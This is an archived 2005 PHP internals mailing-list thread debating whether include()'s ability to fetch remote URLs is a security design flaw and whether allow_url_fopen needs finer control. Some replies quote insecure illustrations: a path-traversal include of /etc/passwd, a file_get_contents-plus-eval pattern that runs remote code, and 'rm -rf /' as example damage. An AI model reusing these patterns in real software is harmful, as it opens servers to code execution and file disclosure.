Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: There is no problems with the include() statement. The only thing missing, is a blink tag in the docs ;) If there were no problems, then why would a blink tag be needed? He's trying to say, as I was - that the include() function works as expected and is just fine as is but /maybe/ the docs need to highlight things more. Personally, I think the docs are fine. Anyway, we're all just repeating the same arguments now - can somebody a wee bit higher up the chain give some finality to this thread please ? Cheers -- Gareth Ardron -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Nicolas Bérard Nault writes: If a programmer is not capable of controlling an user input, You are making a mistake here. You are assuming that the user realized that 'include' is really 'includeremotesecurityhole'. Consider the security implications of a user 'include'ing a file that doesn't exist (because the attacker used a different filename). Pretty small. They would be akin to what happens when you specify an .html file that doesn't exist. Generates an error; no big deal. Do you see? Your assumption proves my point: that the naive user doesn't see any sharp edges on 'include' and doesn't worry about it. I think if a programmer can't read a manual page about a so common function, he deserves what he has. If 'strchr' caused your CPU's fan to stop turning, should 1) a work-around be documented, or 2) the code fixed? If a bug in libjpeg allows a url_fopened image to contain invalid data that elevates privilege, should that be 1) a work-around be documented, or 2) the code fixed? If the design of 'include' allows remote users to execute hostile code, should that be 1) a work-around be documented, or 2) the code fixed? Are you suggesting that virtually _any_ function should be protected against stupidity ? If people do stupid things with a computer, is it their fault or the computer's fault? Personally, I always think it's the computer's fault. So, yes, if people end up doing stupid things, it is because the computer is wrong. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Gareth Ardron writes: You absolutely can't trust any input whatsoever and it must be validated. Nope. Some functions are intrinsically safe, e.g. C's atol, or strtol. It's all in the design, you see. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Please troll, do you go away if I close my eyes? --Jani On Wed, 29 Jun 2005, Russell Nelson wrote: Rasmus Lerdorf writes: Russell Nelson wrote: When the top Google result for 'php security flaw' returns mysql_query() instead of include(), I will agree that you are correct. I am not sure a Google search is a very good barometer here. ... today it really doesn't seem like it is even in the top 10 PHP security problems. Essentially, you're saying that Google doesn't do a good job at finding pages people would be interested in reading. That's a strong claim to make. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] allow_url_fopen should be INI_ALL
-Original Message- From: Russell Nelson [mailto:[EMAIL PROTECTED] Sent: mercredi 29 juin 2005 08:09 If people do stupid things with a computer, is it their fault or the computer's fault? Personally, I always think it's the computer's fault. So, yes, if people end up doing stupid things, it is because the computer is wrong. Uhmm... A computer essentially is a piece of material. Material cannot be wrong. You need programmers to make sense of a computer. Now these programmers need to be aware of how stupid (or attacking) a user can be. These programmers need to make sure that their program copes well with incorrect or harming input. So, your argument is flawed and keeps hugging the list Guus -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.323 / Virus Database: 267.8.5/32 - Release Date: 27/06/2005 -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Jani Taskinen [EMAIL PROTECTED] writes: Please troll, do you go away if I close my eyes? That's not fair. Russell is providing strong arguments and rebuttals for every point. You may not agree with his points, but what he's doing is not trolling. This discussion seems to have strong backing on both sides of the issue. There has been an argument made during this discussion that the include() construct does exactly as it is documented to do, and therefore the security concerns are not warranted. I have a bit of a problem with that argument: The PHP documentation is really good -- some of the best of all the open-source projects I've seen -- but there is so much documentation (and so many capabilities of the language) that expecting people to read it all is unreasonable. PHP is sufficiently like C (a good thing, I believe) that experienced C developers can write code in PHP, and reference the documentation when something doesn't work. I've been developing PHP code for about 5 years, and have been a software engineer working with many languages (but primarily C) for the past 25 years. Although I validate all user input in PHP so I've never been bitten by this problem, I was surprised when this topic started, that include() could access remote files. Yes, I probably knew it 5 years ago, but include() has a basic meaning in all other languages I've used, and I would have expected it to work the same way in PHP. Someone suggested that if include() were insecure, then maybe system() is as well. I think I have to disagree with the comparison. Anyone using system() in any language expects the potential for nasty effects if the parameter is nasty, so it would be clear that the developer needs to be extremely careful. If include() could include only local files as is done in other languages (and as many -- most? -- developers would expect), then it would be much less dangerous. Derrell -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
I think the point is that we're not going to change include() any time soon, and that this thread is not a productive use of everyones time. --Wez. On 6/29/05, [EMAIL PROTECTED] [EMAIL PROTECTED] wrote: Jani Taskinen [EMAIL PROTECTED] writes: Please troll, do you go away if I close my eyes? That's not fair. Russell is providing strong arguments and rebuttals for every point. You may not agree with his points, but what he's doing is not trolling. This discussion seems to have strong backing on both sides of the issue. There has been an argument made during this discussion that the include() construct does exactly as it is documented to do, and therefore the security concerns are not warranted. I have a bit of a problem with that argument: The PHP documentation is really good -- some of the best of all the open-source projects I've seen -- but there is so much documentation (and so many capabilities of the language) that expecting people to read it all is unreasonable. PHP is sufficiently like C (a good thing, I believe) that experienced C developers can write code in PHP, and reference the documentation when something doesn't work. I've been developing PHP code for about 5 years, and have been a software engineer working with many languages (but primarily C) for the past 25 years. Although I validate all user input in PHP so I've never been bitten by this problem, I was surprised when this topic started, that include() could access remote files. Yes, I probably knew it 5 years ago, but include() has a basic meaning in all other languages I've used, and I would have expected it to work the same way in PHP. Someone suggested that if include() were insecure, then maybe system() is as well. I think I have to disagree with the comparison. Anyone using system() in any language expects the potential for nasty effects if the parameter is nasty, so it would be clear that the developer needs to be extremely careful. If include() could include only local files as is done in other languages (and as many -- most? -- developers would expect), then it would be much less dangerous. Derrell -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
[EMAIL PROTECTED] wrote: Jani Taskinen [EMAIL PROTECTED] writes: Please troll, do you go away if I close my eyes? That's not fair. Russell is providing strong arguments and rebuttals for every point. You may not agree with his points, but what he's doing is not trolling. This discussion seems to have strong backing on both sides of the issue. i agree full! isnt it possible to add a check to the include*()/require*() statement that checks the parameter for existence in the superglobal $_REQUEST if the same value is found in $_REQUEST it could raise a WARNING, and notice the user about this security-leak. -- Sebastian Mendel www.sebastianmendel.de www.sf.net/projects/phpdatetime | www.sf.net/projects/phptimesheet -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
On Wed, 29 Jun 2005, Sebastian Mendel wrote: [EMAIL PROTECTED] wrote: Jani Taskinen [EMAIL PROTECTED] writes: Please troll, do you go away if I close my eyes? That's not fair. Russell is providing strong arguments and rebuttals for every point. You may not agree with his points, but what he's doing is not trolling. This discussion seems to have strong backing on both sides of the issue. i agree full! isnt it possible to add a check to the include*()/require*() statement that checks the parameter for existence in the superglobal $_REQUEST No, this is technically not possible, now go play somewhere else. Derick -- Derick Rethans http://derickrethans.nl | http://ez.no | http://xdebug.org -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
[EMAIL PROTECTED] wrote: Please troll, do you go away if I close my eyes? That's not fair. Russell is providing strong arguments and rebuttals for every point. You may not agree with his points, but what he's doing is not trolling. This discussion seems to have strong backing on both sides of the issue. While I'd like to agree with this, all I see when reading the group is a week-long simmering flame war that boils down to OMGWTFBBQ11!11one inc1ud3 is teh 5pl0i7z!!! Rasmus says These security articles are pretty old, and gets back the response of yeah, well you're implying Google doesn't return good results! This is trollish behavior any way you slice it. Should exec, system, and shell_exec filter commands that could be harmful? Should they make sure nobody runs rm -rf / on your server because somebody did a system($foo)? PHP gives all system administrators the tools they need; whether it be safe_mode, safe_mode_exec_dir, open_basedir, disable_functions, allow_url_fopen, and other methods of locking down a server to avoid accidental or malicious damage. For what it's worth, I agree that include should have a method of disabling fetching remote files. We actually patched PHP to this effect after one of our users did include($foo) and got us hacked. We still allow_url_fopen for stuff like RSS feeds, but none of this include and evaluate crap for us. We run a hosting service filled with users ignorant of the true power at their fingertips, people who either don't read the manual or misunderstand it. PHP is a programming language used by non-programmers, and *that* is what makes it dangerous. Why do I say this? People get attached to a method for doing something. Some of our users were *convinced* they had to execute remote code from another site (which we also host; they didn't seem to understand the idea of including without http://). So what did they do? $bar = file_get_contents($foo); eval($bar); Does PHP have to stop this, too? As it turns out, our particular combination of safe_mode_* elements means users only get access to their own files, can only execute binaries we allow, and we explicitly disable any function that returns system information, provides shared resources, or is capable of modifying permissions. If one of our users is sloppy, only their own files are at risk, and we have backups in any case. Railing on for days at a time at how include is insecure is not news, and accomplishes nothing. The main core developers have had their say, and they're not going to change their minds through constant harassment; that's just not human nature. That said, I humbly ask we add allow_url_include to accompany allow_url_fopen, since some desire only to disable the former. We got what we wanted by patching the source, so do as you will. ^_^ -- Shaun M. ThomasINN Database Administrator Phone: (309) 743-0812 Fax : (309) 743-0830 Email: [EMAIL PROTECTED]Web : www.townnews.com -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Nope. Some functions are intrinsically safe, e.g. C's atol, or strtol.
It's all in the design, you see.
{
char badstring[3] = { '1', '0', '0' };
long not100 = atol(badstring);
}
Only intrinsicly safe if you've read the manual page to know that badstring
should have been null terminated.
-Sara
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
On Wed, 29 Jun 2005, Sara Golemon wrote:
Nope. Some functions are intrinsically safe, e.g. C's atol, or strtol.
It's all in the design, you see.
{
char badstring[3] = { '1', '0', '0' };
long not100 = atol(badstring);
}
Only intrinsicly safe if you've read the manual page to know that badstring
should have been null terminated.
Stop feeding the troll please.
Derick
--
Derick Rethans
http://derickrethans.nl | http://ez.no | http://xdebug.org
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
On 6/29/05, Russell Nelson [EMAIL PROTECTED] wrote: If 'strchr' caused your CPU's fan to stop turning, should 1) a work-around be documented, or 2) the code fixed? If a bug in libjpeg allows a url_fopened image to contain invalid data that elevates privilege, should that be 1) a work-around be documented, or 2) the code fixed? If the design of 'include' allows remote users to execute hostile code, should that be 1) a work-around be documented, or 2) the code fixed? This is a stupid comparison. In the first two cases, the *bugs* would be allowing something to happen that was not even remotely related with the intention of the function/library. include() is simply doing its job, which by the way is well documented. It's not unexpeced/undesigned/buggy behaviour that it will include what it's told to. The potential for inclusion of malicious code is, if anything, a common oversight, not a design flaw. What I can suggest is one of two things... (not particularly whole-heartedly, though): 1. Create an INI_ALL variable that means something like allow fopen wrappers in include/require and default it to whatever is thought appropriate -- if it *is* a very common oversight, maybe false. 2. Add a Basic considerations for your web page/application top level that addresses the basic most common security issues. The rest of the docs could then be peppered with security warnings (blinks) where found *really* necessary. Of those, I'd probably prefer suggestion 2. Are you suggesting that virtually _any_ function should be protected against stupidity ? If people do stupid things with a computer, is it their fault or the computer's fault? Personally, I always think it's the computer's fault. So, yes, if people end up doing stupid things, it is because the computer is wrong. Well, if you are a total end-user, I'd agree with you. But developers do need to take up some responsability to not being stupid (how much is always debatable, but you can' use such a blanket argument). -- Nelson Menezes [EMAIL PROTECTED] -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Jani Taskinen writes: Please troll, do you go away if I close my eyes? No, in fact, I don't. I'm not trolling. I'm pointing to factual evidence that your replies cannot explain. Lots of people have said Oh, well, just turn off that feature, or tell your users not to use it, or stop using php. If I'm trolling, then they're trolling. I realize that it's frustrating, difficult and annoying to be told that you're wrong. But it's not me that's telling you that. It's the facts. I'm just pointing out the facts. If I stop, the facts will still remain. If you close your eyes, the facts will still remain. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Wez Furlong writes: I think the point is that we're not going to change include() any time soon, Why not? It's still badly designed because it has hidden sharp edges. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] allow_url_fopen should be INI_ALL
Guus Leeuw jr. writes: These programmers need to make sure that their program copes well with incorrect or harming input. Your argument is ridiculous. Essentially you are saying that circular saws should not come with a guard on the blade, and that circular saw users should invent their own blade guard. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Derick Rethans writes: On Wed, 29 Jun 2005, Sara Golemon wrote: Only intrinsicly safe if you've read the manual page to know that badstring should have been null terminated. Oh, don't get me started on C's null-terminated strings! Stop feeding the troll please. Public requests to stop feeding a troll ARE troll food. The only way to stop a troll is to reply privately to people who respond to him. Besides which, I'm not trolling for flames. I'm politely requesting that you fix a well-known problem in PHP. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Derick Rethans writes: On Wed, 29 Jun 2005, Sara Golemon wrote: Only intrinsicly safe if you've read the manual page to know that badstring should have been null terminated. Oh, don't get me started on C's null-terminated strings! Stop feeding the troll please. Public requests to stop feeding a troll ARE troll food. The only way to stop a troll is to reply privately to people who respond to him. Besides which, I'm not trolling for flames. I'm politely requesting that you fix a well-known problem in PHP. BTW, do you know that mysql_pconnect() is considered harmful, as well as unlink() and company? Andrey -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] allow_url_fopen should be INI_ALL
Parameter validation is a general thing done for security, whether that be if you're using a variable in an include, database credentials, connecting to a web service, etc. You need to make sure that those basic conditions have a highly controlled set of values, not only for security but to make sure the application works correctly. If doing this is unacceptable, that person shouldn't be writing code in the first place. The more I think about it, the more I realize that remote includes are amazingly powerful and you could build some highly distributed applications and have a very easy way to integrate them. Of course, you'd want to white list, and verify that all the piece parts were being used only on your servers. It'd definitely be an interesting application to design. The streams feature and API is also extremely powerful. Include does not let someone erase your harddrive, unless you have gone out of your way to make Apache run as root and open up all sorts of priviledges it shouldn't have, and doesn't have by default. This thread's pretty much pointless - I recommend you read up on web security in general. Al On Tue, 2005-06-28 at 23:58 -0400, Russell Nelson wrote: Mike Robinson writes: Uh, no. Affordances are Okay, I'm wrong about that. I don't need to push that analogy to make my point. You don't save people by filing down the sharp edges on a tool. You do it by telling them it's sharp. If you look at a tool, you can tell if it's sharp. If you look at include, you can't tell that it will happily, Pleasantly, Positively JOYFULLY execute hostile code if the attacker asks it to and you haven't told it not to. You know, I keep searching for an explanation of why so many people have had security problems with php. The answer is simple: the people in charge of php (sorry, Rasmus) think it's okay to create an insecure language construct without making it clear that it's insecure. Now, don't tell me that it's not insecure. Everyone here realizes (and I know this because they've told me) that programmers who are concerned about security will always check the values passed into 'include'. Why would they need to do that if 'include' wasn't insecure? If you have to read the man page to find out that 'include' will let some random user from a third-world country execute 'rm -rf /' on your server, then I propose that the problem is not that users didn't read the man page. The problem is with include, and it needs to be fixed. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Nelson Menezes writes: The potential for inclusion of malicious code is, if anything, a common oversight, not a design flaw. If it's a common oversight, then it *is* a design flaw. 1. Create an INI_ALL variable that means something like allow fopen wrappers in include/require and default it to whatever is thought appropriate -- if it *is* a very common oversight, maybe false. That would solve the problem. You could still use the sharp edges of 'include', but you would have to take the sheath off first. Does anyone disagree with Nelson's suggestion? If I wrote the patch, who should I submit it to? It ought to be pretty small, so I could post it here, but that's probably not right. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Derick Rethans writes: On Wed, 29 Jun 2005, Sara Golemon wrote: Only intrinsicly safe if you've read the manual page to know that badstring should have been null terminated. Oh, don't get me started on C's null-terminated strings! Stop feeding the troll please. Public requests to stop feeding a troll ARE troll food. The only way to stop a troll is to reply privately to people who respond to him. Besides which, I'm not trolling for flames. I'm politely requesting that you fix a well-known problem in PHP. It seems that you don't understand that the programmers have a bit of responsability. We can't avoid users adding security holes in their scripts, this is not the role of the programming language, all we can do is informing them that this is not good. Just because include/require are often used badly, that's not a reason to disable that function from including remote files. XSS is a common security hole too, and there is no point disallowing echo and print from printing user's data. PHP have already been too far this way, magic_quotes_gpc is a good example: magic_quotes_gpc just hides a security hole, and newbies are lost when a problem occurs, they have never heard about problems with quotes in the data used in queries. regards -- Etienne Kneuss http://www.colder.ch/ [EMAIL PROTECTED] -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: Nelson Menezes writes: The potential for inclusion of malicious code is, if anything, a common oversight, not a design flaw. If it's a common oversight, then it *is* a design flaw. 1. Create an INI_ALL variable that means something like allow fopen wrappers in include/require and default it to whatever is thought appropriate -- if it *is* a very common oversight, maybe false. That would solve the problem. You could still use the sharp edges of 'include', but you would have to take the sheath off first. Does anyone disagree with Nelson's suggestion? If I wrote the patch, who should I submit it to? It ought to be pretty small, so I could post it here, but that's probably not right. Yes, most of us disagree. There will be a more complete set of input filtering tools available soon which addresses a broader range of input filtering problems like this one. Simply patching this one isn't going to help much as this particular one is not that common these days. Forget your Google searches and go look at actual vulnerability reports for the last 3 months. -Rasmus -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] allow_url_fopen should be INI_ALL
Al Baker writes: This thread's pretty much pointless - I recommend you read up on web security in general. I understand web security. When I found out that somebody was breaking into my system, I knew *exactly* how they were doing it: through PHP. I turned out to be correct. PHP's reputation for making it easy to write insecure code is deserved. Not only that, but people who are working on PHP seem bound and determined to preserve that reputation. What shocked me was not that I was right, but instead that I had two instances of the very same vulnerability, written by two different programmers (strangers to each other), and it was the security lapse that you first find when you google for php security flaw. And you're trying to tell me that PHP's 'include' doesn't have a problem?? If you want to convince me that you're right, first you're going to have to present me with different facts. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Rasmus Lerdorf writes: Forget your Google searches and go look at actual vulnerability reports for the last 3 months. Vulnerability reports are not a reasonable statistical sample. They aren't random. Also, people who report vulnerabilities are likely to stop reporting them if the maintainers of the software make it clear that the vulnerability won't get fixed. Why waste your time reporting an 'include' break-in? After all, it's not a vulnerability -- many people have told me that already. For example, I didn't report the two include vulnerabilities I found. Why should I? What problem would be solved by me reporting a security flaw that I ought to have known about before-hand? Google, on the other hand, tries to give you the most appropriate page when you search for something. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell Nelson wrote: And you're trying to tell me that PHP's 'include' doesn't have a problem?? The problem is not located on include, the problem is more general : trusting user's data and PHP already provides tools to make it safe, like file_exists(), htmlentities(), etc... -- Etienne Kneuss http://www.colder.ch/ [EMAIL PROTECTED] -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Etienne Kneuss writes: Russell Nelson wrote: And you're trying to tell me that PHP's 'include' doesn't have a problem?? The problem is not located on include, the problem is more general : trusting user's data That's *also* a problem. Include's problem is a different one: that no other language allows you to include code located on another machine. You can't argue that an experienced programmer will not trust user's data AND argue that an experienced programmer will realize that 'include' happily fetches remote code, when in the experience of said programmer no other languge's 'include' does that. PHP's 'include' surprises people. That's evidence of a design error. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Russell, We got the point. Now please let internals@ continue to be productive and focus on PHP development. Sorry to be blunt but this thread is getting old and preventing us from being productive. Thanks, Andi At 12:58 AM 6/30/2005 -0400, Russell Nelson wrote: Etienne Kneuss writes: Russell Nelson wrote: And you're trying to tell me that PHP's 'include' doesn't have a problem?? The problem is not located on include, the problem is more general : trusting user's data That's *also* a problem. Include's problem is a different one: that no other language allows you to include code located on another machine. You can't argue that an experienced programmer will not trust user's data AND argue that an experienced programmer will realize that 'include' happily fetches remote code, when in the experience of said programmer no other languge's 'include' does that. PHP's 'include' surprises people. That's evidence of a design error. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
I agree that we need to improve the overall level of security in PHP, but I am not sure that focusing on allow_url_fopen is very constructive. There are far far more web sites that have these other unfiltered user data issues than have url_fopen issues. I agree with Rasmus. Remote URL Includes are dieing out. They are not as common as they were some time ago. Most released advisories are SQL Injections nowadays and well maybe Russells next mail says: mysql_query() considered harmful. Ohh btw... Many remote url include holes nowadays are only exploitable with register_globals=On. And here again you may blame PHP because it allows an attacker to change the content of unitialized variables. (Which can also be achieved in C programs, by populating the stack with values you want through other code paths). But I blame the programmers for not initializing their variables correctly. Not filtering user input... Ohhh btw Russell, if you really consider include harmful, then simply install the Hardening-Patch for PHP and live with it. Several big hosters already use it, and it disallows any remote includes, beside other include tricks. Stefan -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Rasmus Lerdorf writes: How is this any different from include ../../../../../etc/passwd; That doesn't let you execute hostile content with local privs. There are a lot of places where unfiltered user input can cause some rather severe problems. I agree! And yet there is plenty of evidence that *include* among all the language intrinsics is a problem. 'system' has obvious sharp edges. 'include' does not. I'm asking you to make the sharp edges obvious or else blunt them. Renaming 'include' to 'includeremotesecurityhole' is one way. Removing the URL fopening ability from 'include' and adding a new intrinsic called 'includeremote' would do it too. By the way, remember the 'Open Source' logo contest that you ran for us? We printed it up on t-shirts for FISL 6.0 a month ago. I'll be happy to send you one if you want. Specify yellow, black, or black long-sleeved. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Stefan Esser writes: I agree with Rasmus. Remote URL Includes are dieing out. That's not what Rasmus said. Most released advisories are SQL Injections nowadays and well maybe Russells next mail says: mysql_query() considered harmful. When the top Google result for 'php security flaw' returns mysql_query() instead of include(), I will agree that you are correct. Ohhh btw Russell, if you really consider include harmful, then simply install the Hardening-Patch for PHP and live with it. I'm not trying to fix this for me. Clearly there are at least a half-dozen things I could do to fix the problem for myself[!]. I believe that the problem's cause is the design of the language intrinsic. Therefore, fixing the problem for myself doesn't address the cause of the problem. It just prevents me from seeing the problem anymore. The problem is still there. [!] The first six: 1) rm -rf php 2) don't allow my users access to php. 3) audit all code written by my users. 4) turn allow_url_fopen off. 5) install Hardening. 6) write my own patch removing url_fopen capability from 'include'. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
There is nothing wrong with fopen or include, and PHP isn't instrinically broken here. The only thing intrinsic about PHP that has anything to do with these security areas is how PHP is powerfully simple - lowering the bar for adoption. When you do this, you pick up newbie programmers who code up insecure applications. The bar also gets lowered for juvenile attackers who can easily browse and understand source code. Real software engineers - like those in the enterprise - know how to write secure code and look at how flexible PHP is and see an amazing tool to increase productivity. Turning PHP into a babysitter only hurts PHP, by restricting the enterprise / experienced developers, and curtailing innovation on how PHP is used. There are already solutions available for hosting companies that want a stop gap solution. I've even seen hosting companies that offer security consulting and can work with their customers to secure their site. Your do this because Google proves it argument only shows me that there are mainly educational articles on topics of security, and I would say that people are learning more about web security as time goes on - hence the high page rank of those articles. Using google to prove a point is both flawed and useless. I agree with Stefan's previous emails. Al On Tue, 2005-06-28 at 08:56 -0400, Russell Nelson wrote: Stefan Esser writes: I agree with Rasmus. Remote URL Includes are dieing out. That's not what Rasmus said. Most released advisories are SQL Injections nowadays and well maybe Russells next mail says: mysql_query() considered harmful. When the top Google result for 'php security flaw' returns mysql_query() instead of include(), I will agree that you are correct. Ohhh btw Russell, if you really consider include harmful, then simply install the Hardening-Patch for PHP and live with it. I'm not trying to fix this for me. Clearly there are at least a half-dozen things I could do to fix the problem for myself[!]. I believe that the problem's cause is the design of the language intrinsic. Therefore, fixing the problem for myself doesn't address the cause of the problem. It just prevents me from seeing the problem anymore. The problem is still there. [!] The first six: 1) rm -rf php 2) don't allow my users access to php. 3) audit all code written by my users. 4) turn allow_url_fopen off. 5) install Hardening. 6) write my own patch removing url_fopen capability from 'include'. -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator.
Re: [PHP-DEV] allow_url_fopen should be INI_ALL
Al Baker writes: Turning PHP into a babysitter Nothing you wrote explains why so many people have had this problem. Everything you write is an attempt to deny that the problem exists, deny that serious programmers have the problem, deny that the problem is due to a badly designed intrinsic, and deny that the intrinsic should be redesigned so that its sharp edges are either softened or made apparent. Graphical user interface designers understand the idea of an 'affordance'. An affordance is something whose operation is obvious simply by looking at it. An uparrow button moves something upwards. 'include' is an affordance. It obviously includes a local file. In essence, php's include is an apple with a razor blade hidden in it. In essence, allow_url_fopen==no wraps all fruit with a metal mesh so when you bite into them, your mouth is protected from the razor blade in the apple. Unfortunately, the only fruit which has ever been found to have razor blades in it are the apples. I agree with Stefan's previous emails. Even the part where he agrees with something Rasmus didn't say? -- --My blog is at blog.russnelson.com | If you want to find Crynwr sells support for free software | PGPok | injustice in economic 521 Pleasant Valley Rd. | +1 315-323-1241 | affairs, look for the Potsdam, NY 13676-3213 | | hand of a legislator. -- PHP Internals - PHP Runtime Development Mailing List To unsubscribe, visit: http://www.php.net/unsub.php
RE: [PHP-DEV] allow_url_fopen should be INI_ALL
